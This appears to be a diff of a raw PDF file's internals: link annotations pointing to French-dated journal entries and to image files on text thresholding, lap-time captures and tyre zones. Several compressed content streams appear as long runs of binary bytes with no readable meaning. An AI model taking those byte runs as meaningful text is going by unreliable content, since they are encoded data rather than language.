0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 460.973622 555.889134 440.303622 ] +/BS << +/W 0 +>> +/Dest (jdb/:mardi-9-mai-2023) >> endobj 297 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 268.466457 540.023622 ] +/Rect [ 55.386457 455.453622 82.786359 441.053622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Clean9Example.png) ->> +/Dest (jdb/:mardi-9-mai-2023) >> endobj 298 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 540.023622 297.637795 527.620422 ] +/Rect [ 538.710911 455.453622 555.889134 441.053622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Clean9Example.png) ->> +/Dest (jdb/:mardi-9-mai-2023) >> endobj 299 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 471.806022 37.466457 459.402822 ] +/Rect [ 55.386457 440.303622 555.889134 419.633622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Filled9.png) ->> +/Dest (jdb/:mercredi-10-mai-2023) >> endobj 300 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 471.806022 268.466457 240.806022 ] +/Rect [ 55.386457 434.783622 82.786359 420.383622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Filled9.png) ->> +/Dest (jdb/:mercredi-10-mai-2023) >> endobj 301 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 240.806022 297.637795 228.402822 ] +/Rect [ 538.710911 434.783622 555.889134 420.383622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Filled9.png) ->> +/Dest (jdb/:mercredi-10-mai-2023) >> endobj 302 0 obj << -/Filter /FlateDecode -/Length 2290 +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 419.633622 555.889134 398.963622 ] +/BS << +/W 0 +>> +/Dest (jdb/:jeudi-11-mai-2023) >> -stream -xZێ }ģu $H&@0A "l%2E]FuWٺ"yxHNc -M_N_Oj>_dfi -:Z+c38kU~~8zCsP*0im :yo?>-zV=qu+]e(c.IHINӧ?߿}1&??+e㋋_`V(uփ5B[.\ģ;ڿOz-BrgM:"?~j8\{|y ߴx ŗݮ>)ڗuʟuv_V\yY.}[ׁ:~x{\Ú $r.vۻ Bְe<_eйd9O#˂Cpal1b6ڲ?LwŪ?7Gh BU nJtČf$o89@sK,S-޴&yir\kURE[U9d,p5+{ 'zʗ:>1Yx5խ5n< |20:mkKҟ-HX>oȭߋ/rkC'о'cW>MÄ4Zo_'<~m9_jv&s[LOɦ]!Ae7ex#)+,m7fl(tGk|p_yC~G7eCV h`I-G̡냮ƴ@̏Oퟄj9D;$ҌcARGNY2pbFR:Mq,%5Gm:AcV; YiоM#0"$OX5e꜒a!UU|o? 3A@>5:.杙RfvCf'qCy9vo6Zdk}06NGc!M1X-CUGІ ;Th9"gĢ9bfˆntjF>b ,\ԡq YF,s$"blL?uRg#ljaVIBh iVEYZQ(Gc9ʪe=]и;&<\m@:@N/UZ@(Jyn;r8Nab8f&E, ?h`h</g-tFȋF@JZlL֠BDDMwwf2?oBv::V7y7C^Ir8Ǣ;Ct6y(6r"O!>T,I_;JEIڍNJvr{l^KİQh."dD: fqkq#%ѷco@(v r*EE.GzowPEyVYTFjqnYn׉a%_:r7h":zwF/7,ꎳ!58]o ͟Y{LhY'ޟב 8?.PgixX8v>|+8Q(،q V7?pQ[\yV%Q€] i6#rÕy@'[6?M{ÿ8DZ0STX4X3cl8&DCHX%f}nRـѭ\^sy# S,kS]ւSB8a),Um:" / Eț -GGkYpg -endstream endobj 303 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 302 0 R -/Resources 4 0 R -/Annots [ 304 0 R 305 0 R 306 0 R 307 0 R 308 0 R 309 0 R 310 0 R 311 0 R 312 0 R 313 0 R 314 0 R 315 0 R 316 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 414.113622 82.786359 399.713622 ] +/BS << +/W 0 +>> +/Dest (jdb/:jeudi-11-mai-2023) >> endobj 304 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 672.728262 37.466457 660.325062 ] +/Rect [ 538.710911 414.113622 555.889134 399.713622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleTextRaw.png) ->> +/Dest (jdb/:jeudi-11-mai-2023) >> endobj 305 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 672.728262 161.216457 645.728262 ] +/Rect [ 55.386457 398.963622 555.889134 378.293622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleTextRaw.png) ->> +/Dest (jdb/:vendredi-12-mai-2023) >> endobj 306 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 645.728262 297.637795 633.325062 ] +/Rect [ 55.386457 393.443622 82.786359 379.043622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleTextRaw.png) ->> +/Dest (jdb/:vendredi-12-mai-2023) >> endobj 307 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 462.781062 37.466457 450.377862 ] +/Rect [ 538.710911 393.443622 555.889134 379.043622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleTextINvertColor.png) ->> +/Dest (jdb/:vendredi-12-mai-2023) >> endobj 308 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 462.781062 161.216457 435.781062 ] +/Rect [ 55.386457 378.293622 555.889134 357.623622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleTextINvertColor.png) ->> +/Dest (jdb/:lundi-15-mai-2023) >> endobj 309 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 435.781062 297.637795 423.377862 ] +/Rect [ 55.386457 372.773622 82.786359 358.373622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleTextINvertColor.png) ->> +/Dest (jdb/:lundi-15-mai-2023) >> endobj 310 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 367.563462 37.466457 355.160262 ] +/Rect [ 538.710911 372.773622 555.889134 358.373622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleTextTresholding.png) ->> +/Dest (jdb/:lundi-15-mai-2023) >> endobj 311 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 367.563462 161.216457 340.563462 ] +/Rect [ 55.386457 357.623622 555.889134 336.953622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleTextTresholding.png) ->> +/Dest (jdb/:mardi-16-mai-2023) >> endobj 312 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 340.563462 297.637795 328.160262 ] +/Rect [ 55.386457 352.103622 82.786359 337.703622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleTextTresholding.png) ->> +/Dest (jdb/:mardi-16-mai-2023) >> endobj 313 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 259.942662 37.466457 247.539462 ] +/Rect [ 538.710911 352.103622 555.889134 337.703622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleTextResize.png) ->> +/Dest (jdb/:mardi-16-mai-2023) >> endobj 314 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 259.942662 284.966457 205.942662 ] +/Rect [ 55.386457 336.953622 555.889134 316.283622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleTextResize.png) ->> +/Dest (jdb/:mercredi-17-mai-2023) >> endobj 315 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 205.942662 297.637795 193.539462 ] +/Rect [ 55.386457 331.433622 82.786359 317.033622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleTextResize.png) ->> +/Dest (jdb/:mercredi-17-mai-2023) >> endobj 316 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 125.321862 37.466457 112.918662 ] +/Rect [ 538.710911 331.433622 555.889134 317.033622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleTextDilatation.png) ->> +/Dest (jdb/:mercredi-17-mai-2023) >> endobj 317 0 obj << -/Filter /FlateDecode -/Length 2643 +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 316.283622 555.889134 295.613622 ] +/BS << +/W 0 +>> +/Dest (jdb/:jeudi-18-mai-2023) >> -stream -x[k3b@ݎ.RRBIْx-I?THGil.yg4ҹ>"Y,<}%N 朷F/^~z҈K}x,5L;'_pL.U/?%>obs" 7Ŀ|,_~-,-UgEHte42Q'3pzZ~Wbz9 WcJ-O"g{6Y"h9EXǔ!V~.(η_uBi& \$&itP'kgKx3W]¸9c1 K;j giYjɴp#' qL&fmn 2ss۽~L\5 3gx&!O^fB -!2/yS%zK219d\7 L!Q)dmA,V!htLUX6VZr٭6o+Y&--Y J{ύsC5 #c DfP!*!*A4r{X.Rj\ebZ|ĝ{f4OLlu,L0ꍚ'}CZR\gHh{VT-OV$`kiGF<kHQ#WCUZ"kBv`/tY"?pb|}Ë9,6v%K붗S4zj>7чs``BRID%x8zVś!(tQH).zYhVE0|`,šDi\3Y44QJܽ RV24$EPOP(iL[:iJwBH J]\8_pG ] pBhh]5i`:3DF39 OhW[zm,t6ĘK =WHow|ki8@Nc}iIiQaFx:<dфef;+Ъ1hT4I>Fx?IJ)I\;Bh~-H>zhU6Hw}pka!:'F1qE*Yb47g*&bh,݃[43=E LBو-*w@!Fxr\Mo߼yqLꞂ'zƭWa%oFN\w E'15!+ځDYۦ\!{Q4*9wA50dB$L;HܑnJxXB2@% -I#)066QAK3o6lhR15 W "h)= }% nb\*YN];>Y[Lz+ -aΜ&MmLeզd/w/M1K>FYijP̹"&O '+HD~ =)!꼭vl)s6[V -W/Lӵt1ojA?") ͙1?H /73KzgNZssbd -2b̳wW<y&51#m7hA'l66v~"QKu۷vl.@cnZ RGb;?SI*B<f9$=fT4'69tQ $c>)&!i5'(/F0Wrܓ(fVhOv~}⬍\ .A_g\J׭ţ?gqpg^legfWovz>}f;WoO_I?}&~fuM@_. s>4s‹8v7zIƓ' R h\ ƽ1"oI8md'B'Y`!3P_8ぅBEx(WdCCSHH -P}Ff  -endstream endobj 318 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 317 0 R -/Resources 4 0 R -/Annots [ 319 0 R 320 0 R 321 0 R 322 0 R 323 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 310.763622 82.786359 296.363622 ] +/BS << +/W 0 +>> +/Dest (jdb/:jeudi-18-mai-2023) >> endobj 319 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 284.966457 717.023622 ] +/Rect [ 538.710911 310.763622 555.889134 296.363622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleTextDilatation.png) ->> +/Dest (jdb/:jeudi-18-mai-2023) >> endobj 320 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 717.023622 297.637795 704.620422 ] +/Rect [ 55.386457 295.613622 555.889134 274.943622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleTextDilatation.png) ->> +/Dest (jdb/:lundi-22-mai-2023) >> endobj 321 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 110.972262 37.466457 98.569062 ] +/Rect [ 55.386457 290.093622 82.786359 275.693622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleLapTimeBefore.png) ->> +/Dest (jdb/:lundi-22-mai-2023) >> endobj 322 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 110.972262 113.216457 83.972262 ] +/Rect [ 538.710911 290.093622 555.889134 275.693622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleLapTimeBefore.png) ->> +/Dest (jdb/:lundi-22-mai-2023) >> endobj 323 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 83.972262 297.637795 71.569062 ] +/Rect [ 55.386457 274.943622 555.889134 254.273622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleLapTimeBefore.png) ->> +/Dest (jdb/:mardi-23-mai-2023) >> endobj 324 0 obj << -/Filter /FlateDecode -/Length 2088 +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 269.423622 82.786359 255.023622 ] +/BS << +/W 0 +>> +/Dest (jdb/:mardi-23-mai-2023) >> -stream -xZˎ, WDW[qF&H [Fv`P*QE4f*C5HO0 BޙJ#| ~^hwK4„!.JE5ZKoZx)} RBt\> ../E]~ `^@±( ̋~)hnEqS78\c|~`rmUellCr"wX6c>&ۄ.vɲŹ3;uC*a<[==NDkssP1.#E)7$kI%AĠ,&?*uĮ,'sagO?\PwU֣weUM7ggY%:,Ɓ2YEw~bbI2Ѹ}A^TfUV(i!.z6S7a;)FI;E:4am) 'xx\2˜XzףZڂ>a$!+X(GB諤p(8yfIQEƀLR(r¨80$,P_A>ڐaA-xH3\9&XUz,tNW@Z(CWD#ME;sHkۦѳ:y*n /:=]# rF'mt`n=$ny8PxQC1|P'sn̝(Xe`b:P:~A#`H\ifX FhFuTߋ!o~| %r$AA:v@Yٞsp_d%7Srogwq`i2wqQ"JPXI5i98<2* ɸ,)Rdg0U04f^e3>(h:2h0IGsggˬhFܳ<؃q(M_neŖ>}]jsgz1PKjM.Tu"38! MӦ? 3Ty>fݢItj{X@¢ݼ Ć6P@'{ ;ẁ[fvfUoA@;=z J.>S[vǵEZd,Vqg$E4;z$PLhI3!>2d^YDBQQά'Ҥ:rE4;B%Z/,c4":ެ] "'eU3Rԃ_#a:[8]R־Ӣʴ$G3|{IΚ(.A]#8fX\=X/ۣVzs4mrp]}$50:^o=ƨ=-Y+\f_o,#M+^j!FS_'LNr:ZK JaE r6H47+RXwEH6}T2D j5tt8ձK? -&KJWaףy #s -pXj $~./YKnʂD'~?oD -endstream endobj 325 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 324 0 R -/Resources 4 0 R -/Annots [ 326 0 R 327 0 R 328 0 R 329 0 R 330 0 R 331 0 R 332 0 R 333 0 R 334 0 R 335 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 538.710911 269.423622 555.889134 255.023622 ] +/BS << +/W 0 +>> +/Dest (jdb/:mardi-23-mai-2023) >> endobj 326 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 690.402822 37.466457 677.999622 ] +/Rect [ 55.386457 254.273622 555.889134 233.603622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleLapTimeBeforeUpscaled.png) ->> +/Dest (jdb/:mercredi-24-mai-2023) >> endobj 327 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 690.402822 557.809134 504.934145 ] +/Rect [ 55.386457 248.753622 82.786359 234.353622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleLapTimeBeforeUpscaled.png) ->> +/Dest (jdb/:mercredi-24-mai-2023) >> endobj 328 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 504.934145 297.637795 492.530945 ] +/Rect [ 538.710911 248.753622 555.889134 234.353622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleLapTimeBeforeUpscaled.png) ->> +/Dest (jdb/:mercredi-24-mai-2023) >> endobj 329 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 314.234945 37.466457 301.831745 ] +/Rect [ 55.386457 233.603622 555.889134 212.933622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleLapTimeTreshold.png) ->> +/Dest (jdb/:jeudi-25-mai-2023) >> endobj 330 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 314.234945 113.216457 287.234945 ] +/Rect [ 55.386457 228.083622 82.786359 213.683622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleLapTimeTreshold.png) ->> +/Dest (jdb/:jeudi-25-mai-2023) >> endobj 331 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 287.234945 297.637795 274.831745 ] +/Rect [ 538.710911 228.083622 555.889134 213.683622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleLapTimeTreshold.png) ->> +/Dest (jdb/:jeudi-25-mai-2023) >> endobj 332 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 206.614145 37.466457 194.210945 ] +/Rect [ 55.386457 212.933622 555.889134 192.263622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleLapTimeResize.png) ->> +/Dest (jdb/:vendredi-26-mai-2023) >> endobj 333 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 206.614145 188.966457 152.614145 ] +/Rect [ 55.386457 207.413622 82.786359 193.013622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleLapTimeResize.png) ->> +/Dest (jdb/:vendredi-26-mai-2023) >> endobj 334 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 152.614145 297.637795 140.210945 ] +/Rect [ 538.710911 207.413622 555.889134 193.013622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleLapTimeResize.png) ->> +/Dest (jdb/:vendredi-26-mai-2023) >> endobj 335 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 71.993345 37.466457 59.590145 ] +/Rect [ 55.386457 192.263622 555.889134 171.593622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleLapTimeDilatation.png) ->> +/Dest (jdb/:grand-prix-de-monaco) >> endobj 336 0 obj << -/Filter /FlateDecode -/Length 2183 +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 186.743622 82.786359 172.343622 ] +/BS << +/W 0 +>> +/Dest (jdb/:grand-prix-de-monaco) >> -stream -xZ[o4~?"RU -HhQ CN %Ǝ\$x3Ns[ӇgVs+{pY5WL9OBE)VRr;}|9|^2˹uvi30>iō_ͦɊ D>aꭌ܇Qr~kJϳ|Y~]X'!J|~6E]Jo\z5uLJ 'wph:ox"*$ ٲM!x\ȵĿ@J5*Z>j5$:6k5 L;sD"cz ׻0P9 3 -uYglI@yR6(K=%+*V*T7~7z+ɺAV+2^sF[r5:8;(ˎ,XB[ x8h۝(U*$Qt>v6/D$w`z.;871̬vLAS|&لYKQD;&?⒐S2ހ `Qi^W  Rg5̣-]KL -[78QiżmE9^/5ևaaMh'<@cMlD 3Afah9b6+9@ogTȦcpAYxmJЁ# Ɇ1[Zh *xM"pZuP(>6{nH]oGV`WX+M߄iTm00%4 -Dž0ׁN4_E'ˈJ*7E5xܤ6r.}iMae+ C<^2("*2G8b@NyKon+\tk0H%y̳p:=GQ [uW|g^%E4+$9g5 hy/̏an2LIJlܵ}mRG~ |o@޹X 10UNDE9;Ϝz%U+ۙ%Ӣ:%_QP{=>,| v-z}PaU;ղ& 8_xqrLaTQ3nJ-юZ<ό؊yϬΈUky,KU@ -dt]3g/ą -6Ôh'¾ KLEFzw[sVMw;CJPہ:JUMzPZs)m"@Wf pIQ_l on>q}nҕW.1(T~ݫY^ z,y+\ֻ70}8_ݫ1?VXΔt{&{Bo [oIU\I¬[ǼqʈF-&O $&E:`xMһ- s.3eΏ^50R ,s -`? -endstream endobj 337 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 336 0 R -/Resources 4 0 R -/Annots [ 338 0 R 339 0 R 340 0 R 341 0 R 342 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 538.710911 186.743622 555.889134 172.343622 ] +/BS << +/W 0 +>> +/Dest (jdb/:grand-prix-de-monaco) >> endobj 338 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 188.966457 717.023622 ] +/Rect [ 55.386457 171.593622 555.889134 150.923622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleLapTimeDilatation.png) ->> +/Dest (jdb/:lundi-29-mai-2023) >> endobj 339 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 717.023622 297.637795 704.620422 ] +/Rect [ 55.386457 166.073622 82.786359 151.673622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleLapTimeDilatation.png) ->> +/Dest (jdb/:lundi-29-mai-2023) >> endobj 340 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 611.596422 37.466457 599.193222 ] +/Rect [ 538.710911 166.073622 555.889134 151.673622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleLapTimeErode.png) ->> +/Dest (jdb/:lundi-29-mai-2023) >> endobj 341 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 611.596422 188.966457 557.596422 ] +/Rect [ 55.386457 150.923622 555.889134 130.253622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleLapTimeErode.png) ->> +/Dest (jdb/:mardi-30-mai-2023) >> endobj 342 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 557.596422 297.637795 545.193222 ] +/Rect [ 55.386457 145.403622 82.786359 131.003622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExempleLapTimeErode.png) ->> +/Dest (jdb/:mardi-30-mai-2023) >> endobj 343 0 obj << -/Filter /FlateDecode -/Length 1473 +/Type /Annot +/Subtype /Link +/Rect [ 538.710911 145.403622 555.889134 131.003622 ] +/BS << +/W 0 +>> +/Dest (jdb/:mardi-30-mai-2023) >> -stream -xYK6Wk8bECK-ZAH_HHֆVDOC.tD*FA+?yG~ - 9bHBTXiZݗ?4*#v(O#K/O=(}0} yV,zH@epo. ɕֆMqQkoo`!cB6beLes9"3O>uL{۱>0D+ʞĚ+PTxbR!5F+m-`jEbQ+W#EUE -rs1/Awqf1=!dh)? 9ꐊńc ښs~7S TڒZL+|&֐rٷ䜉ED2R _[֮3=Wxb#d> Ő׊L#)/`he Aev&I7mzjA} -6POUG^M^U>"f֍UoGA{X/ $`_@KL1E>UAע̵kɰ/ ѓ(#89ڶS-󮽔+ -pS+HV:jhi?gue3ַn K:i\lMإXz\tVckLɮ/Ȕ8M>P{(sIZ)e7/Ap7- &wt 8^.\j,9 I?ưozF \*Hu' 0Xx 1 -ǚ"nIKYmZD"\\I_nZWELh%-qG*H,> +/Dest (jdb/:mercredi-31-mai-2023) >> endobj 345 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 665.596422 37.466457 653.193222 ] +/Rect [ 55.386457 124.733622 82.786359 110.333622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/Tyres.png) ->> +/Dest (jdb/:mercredi-31-mai-2023) >> endobj 346 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 665.596422 557.809134 495.965557 ] +/Rect [ 538.710911 124.733622 555.889134 110.333622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/Tyres.png) ->> +/Dest (jdb/:mercredi-31-mai-2023) >> endobj 347 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 495.965557 297.637795 483.562357 ] +/Rect [ 55.386457 109.583622 555.889134 88.913622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/Tyres.png) ->> +/Dest (jdb/:jeudi-1-juin-2023) >> endobj 348 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 330.072757 37.466457 317.669557 ] +/Rect [ 55.386457 104.063622 82.786359 89.663622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneExemple3.png) ->> +/Dest (jdb/:jeudi-1-juin-2023) >> endobj 349 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 330.072757 557.809134 308.600570 ] +/Rect [ 538.710911 104.063622 555.889134 89.663622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneExemple3.png) ->> +/Dest (jdb/:jeudi-1-juin-2023) >> endobj 350 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 308.600570 297.637795 296.197370 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneExemple3.png) ->> +/Filter /FlateDecode +/Length 31092 >> +stream +xMdW9?\8o4z`Ȟ Ԛ5 ^;I>*Q v_^6#~Ϗ~zp߿Ǿ?iq=mr_\/?__n?刺/}Թޟy~^_~z_}<<2Nwy;IguOyޮ-Wuܜ<3snיH_W"uq=Y{^D^N%N'Nӽn=:86'[=hꄯqESg|G43uW) EιLFܢs~ܞ{4u8'd{}s~ɬs>h9_̾EGڢs~^{4u븂y!^g4uuES\_Ѭs>_h9_#sB2_{4uίmUs~m\0Wk9:a2뜯3uΏ+ c}ڽf_}ikg&۽h{{mqOíF}ιFz)Hǖ[sKZ҄|R9 8j5Qq*oim5_cK3ns>4:z]fv[ӌpfv_ӌ+Kqӌj`im53W2f\̱W2fܶs4mH3.2DfH3>2_KfVsߏ4㶚=ҌjH3>e#͸UʜGq۱:ҌێuεJ\\h9UW2uM3n9hq[M3n9hqu 94jS~h9_gq۵nc3ݶ:W\mkoιVximk/͸mZ9X45kfܶy5ܶ`Ҍ^qۚK3n[szimkZ/θ5kfܾ`Ҍ^qK3n_s:n_szikZ/͸}Z9Xk45kfܾ`Ҍ^qK3n_szik>^qK3n_szikZ/͸}Z9Xk45kfܾ`Ҍ^qG\kZ/͸}Zȥ9X45tq/͸}zfܾ` 45k`9X_Ҍ?ikfܾ`}Ҍi폫qYu?q?#EqyEqk3:W\:Z9Z/͸U\k4[sҌ;nuεK3s>:s:s~uq_qǽιzi:ZWW`-㎭ιFi[I39qwl뜯fG\:g\:W\{sҌ;:ZW2[\GsҌ;:wϸP+W)\\szq'qwuYO3볞fqoqw\ϸOx=qu\tG\uϸ;_qw9Xk45kfܱ`Ҍ;^qǚK3Xs<:XszikZ/͸cZw9Xk45kfܱ`[sziƝkZ/͸sZ뽢Y|uܹ`Ҍ;^q皃K3\sziƝkZ/͸sZw9Xk45kfܹ`Ҍ;|qw9Xk45kfܹ`Ҍ;^q皃K3\sziƝkZ/͸sZw9Xk45W\ǝkZ/͸sZw9Xk45kfܹ`Ҍ;^q皃K3\sziƝkZ/͸sq皃K3\sziƝkZ/͸riƝ5I39XKee;ϸ;뜯;qW/j<::yuYspTqg{Ҍ;k3~k^Ҍnϸn뜯nqw9?:ԔyG4u-㮚d\]5qZwZ:3mq׶q׶qr/븫zi]5K39Xj\]5K3V_wjӌug\]:+c#c3jaQqW{]i]5uew?qW/gqW 2G\]:3kq׵q3jUqך=͸kzfܵ` M3Zs^w9xqw9Xk45kfܵ`Ҍ^qךK3Zszi]kZ/͸kZ`Ҍ{9XXӌ{9X8Ҍ{9Xcq5듟fc`Xs~si=Xszi=^q^q5G\=^q5kfcZXszG2kZ/͸ǚK3`Ҍ{9Xk4kZ/͸ǚ3>;?]/\^ g~Ï)ɢ/?ݿ +j^o??O_ޫZ_O˿coyCՓ_ñֿe-isQG/5׿.߷T?>~}]~$WOտ+x|x~;ܾ(R<pGkNUC +NQ\9o+]Xffǩsۯx:xkU]UV>8u5x:Lت:9`:4ty>n8uU;ӵ9떎S_z1}gƎ^a~um<ΫL}O9_kswks^ǩs3yeoƮ:~}y\s׷yh 95=ӵZo/Q{Vkz}Lx]8uk_}y~ҵZoSo?_-ιV~tܯqkF~Kt{}ukx\t2LG8Ϊ:gNVձkpc$ǩs~}s5%9W]8u{}JyIypIVk뇆qj+ǩs~]-]5zHjsa:Ns-qjJj^IZ9x֋W^sxIʼ=j> +9\cGǽ^·ky_Vl5rHX 2#'^ x:G9ιpk`}t9II֔ejk^d$.s}Zwy^_0]5+ǩs=j+Wj>Opkx$GLkZi {|ԫt9x>Iɱv>ɱ8Xv_mNUf?}cz toמְzϷ>ɱm;tX +9׻-aoB;]cz׷z]j$z׷c5n;׻[Orw}[/mq{;z׷Z8k;ݞ>ɹ]];%w{=5vm{$]+'9[mɹ:}xWN*۹klU"'9W^b<\ְ~ǩ-^c/{OrUoz-'9W_ t\vS t|U(~\vs|-ܬw蹞>ɹxwϯvHIݬLf =~\vs{z^٥k~3'9׻OkUuUxVX/}UuW3'YUmݶyWGVXTO[} OIVq{WQ|^:nǖ+1]{긭7Y&='YU*D}Uu^wqk]7t]uܮk:3'yWu0glwQ|U}wձUǾZ 